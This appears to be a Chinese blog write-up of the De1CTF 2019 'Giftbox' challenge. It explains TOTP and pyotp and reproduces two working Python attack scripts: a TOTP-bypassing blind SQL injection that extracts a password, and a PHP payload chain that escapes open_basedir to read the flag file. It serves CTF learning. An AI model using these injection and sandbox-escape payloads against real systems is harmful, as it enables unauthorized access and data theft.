[De1CTF 2019]Giftbox

刚进来我以为是直接给了shell,恐怖如斯。

随便扔了个命令,之后就没然后了,hhh,截包发现可能存在sql注入。

然后我就不会了。。。

what i learn?

the first part:

可以看到ls命令的回显:

[de1ta@de1ta-mbp /sandbox]% ls
totp err, server timestamp:1595945786.8731

告诉我们totp发生了错误。

TOTP

totp是啥? //以下来源于百度

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。 它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。
TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

TOTP基于具有时间戳计数器的OTP,通过定义纪元(T0)的开始并以时间间隔(TI)为单位计数,将当前时间戳变为整数时间计数器(TC)。

需要安装pyotp模块。

在服务端上:

服务端为每个用户生成一个 base32 的密钥 base32secret3232,保存在服务器数据库中 , 代码为 pyotp.random_base32()。  

服务端在匹配时使用 totp = pyotp.TOTP('base32secret3232') 和
totp.now() 即可获得当前动态口令。

pyotp的TOTP的使用说明(官网):

totp = pyotp.TOTP('base32secret3232')
totp.now() # => 492039 # OTP verified for current time
totp.verify(492039) # => True
time.sleep(30)
totp.verify(492039) # => False

简单应用:

>>> import base64
>>> base64.b32encode('This is my secret key')
'KRUGS4ZANFZSA3LZEBZWKY3SMV2CA23FPE======'
>>> secretKey = base64.b32encode('This is my secret key')
>>> import pyotp
>>> totp = pyotp.TOTP(secretKey)
>>> totp.now()
423779

返回题目

针对这道题,首先查看要去找到他这个totp的算法接口,就是在http://df19d8f1-08dd-4c71-acdc-abd56b5b155d.node3.buuoj.cn/js/totp.min.js

进去看一下找一下秘钥:找不到,根据wp知道是在js目录下有个压缩包,可以找到。

他的提示在main.js当中:

/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/

暗示的很明显,同时将:

digits = 8
interval = 5

都告诉我们了,

另外key也出现了在这里:

 if (commandList.indexOf(command) === -1) {
$.ajax({
url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(),
type: "GET",
dataType: 'json'

爆破脚本:

import requests
import urllib
import string
import pyotp url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session() length = 0
left = 0x0
right = 0xff
while True:
mid = int((right - left) / 2 + left)
if mid == left:
length = mid
break
username = "'/**/or/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid
password = "b"
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
res = s.get(payload).text
if 'incorrect' in res:
left = mid
else:
right = mid
print(length) real_password = ''
for i in range(1, length+1):
left = 0x20
right = 0x7e
while True:
mid = int((right - left) / 2 + left)
if mid == left:
real_password += chr(mid)
break
username = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (i, mid)
password = "b"
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
res = s.get(payload).text
if 'incorrect' in res:
left = mid
else:
right = mid
print(real_password)
if len(real_password) < i:
print('No.%d char not in range' % i)
break

脚本也是嫖来的,在这段脚本中后半部分主要是利用二分法来爆出数据,即password,最后是hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

脚本的前半段是判断password的长度。

满足服务其关键的地方在于:

    payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload) //进行url编码,防止字符对数据包产生影响
payload = url % (payload, totp.now()) //这一步对最终的url实现填充的效果第一段为payload,第二段为当前的动totp值。
res = s.get(payload).text

s在前面有写到了:

url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

接下来就是对于绕过open_basedir了。

脚本如下:

import requests
import urllib
import string
import pyotp url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session() def login(password):
username = 'admin'
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload) def destruct():
payload = 'destruct'
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload) def targeting(code, position):
payload = 'targeting %s %s' % (code, position)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload) def launch():
payload = 'launch'
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
return s.get(payload).text login('hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')
targeting('b','{$a(46)}')
targeting('c','{$b}{$b}')
targeting('d','{$a(47)}')
targeting('e','js')
targeting('f','open_basedir')
targeting('g','chdir')
targeting('h','ini_set')
targeting('i','file_get_')
targeting('j','{$i}contents')
targeting('k','{$g($e)}')
targeting('l','{$h($f,$c)}')
targeting('m','{$g($c)}')
targeting('n','{$h($f,$d)}')
targeting('o','{$d}flag')
targeting('p','{$j($o)}')
targeting('q','printf')
targeting('r','{$q($p)}')
print(launch())

最新文章

  1. java excle导出合计字段值
  2. 深入浅出Redis02 使用Redis数据库(String类型)
  3. 如何修改windows远程端口
  4. JMeter之JDBC接口测试
  5. HDU 1213 How Many Tables (并查集,常规)
  6. spring-security用户权限认证框架
  7. Joomla必备模块(转自joomla8)
  8. jQuery回到顶部
  9. WinEdt7.0 初试
  10. Java CopyOnWriteArrayList分析
  11. vi使用高级
  12. Chapter 21_4 捕获
  13. leetcode — reorder-list
  14. Virtual DOM 系列一:认识虚拟DOM
  15. libstdc++适配Xcode10与iOS12
  16. [Nmap] Regular script
  17. 戴尔R710服务器安装系统——配置raid
  18. SVN 撤回已提交的代码
  19. jqgrid获取选中行指定列的值
  20. Object.keys()返回对象的属性

热门文章

  1. js实现将时分秒转化成毫秒,将秒转化成时分秒
  2. 使用 Postman 做 API 自动化测试
  3. Python 逆向抓取 APP 数据
  4. Nginx Ingress 高并发实践
  5. 【已学完】UGUI Schedule
  6. POJ-1001-Exponentiation(高精度大数)
  7. 绝世好题(线性dp)
  8. linux的五种IO模型
  9. Oracle错误 ora-12514 解决方法-九五小庞
  10. 使用StringUtils需要引用的依賴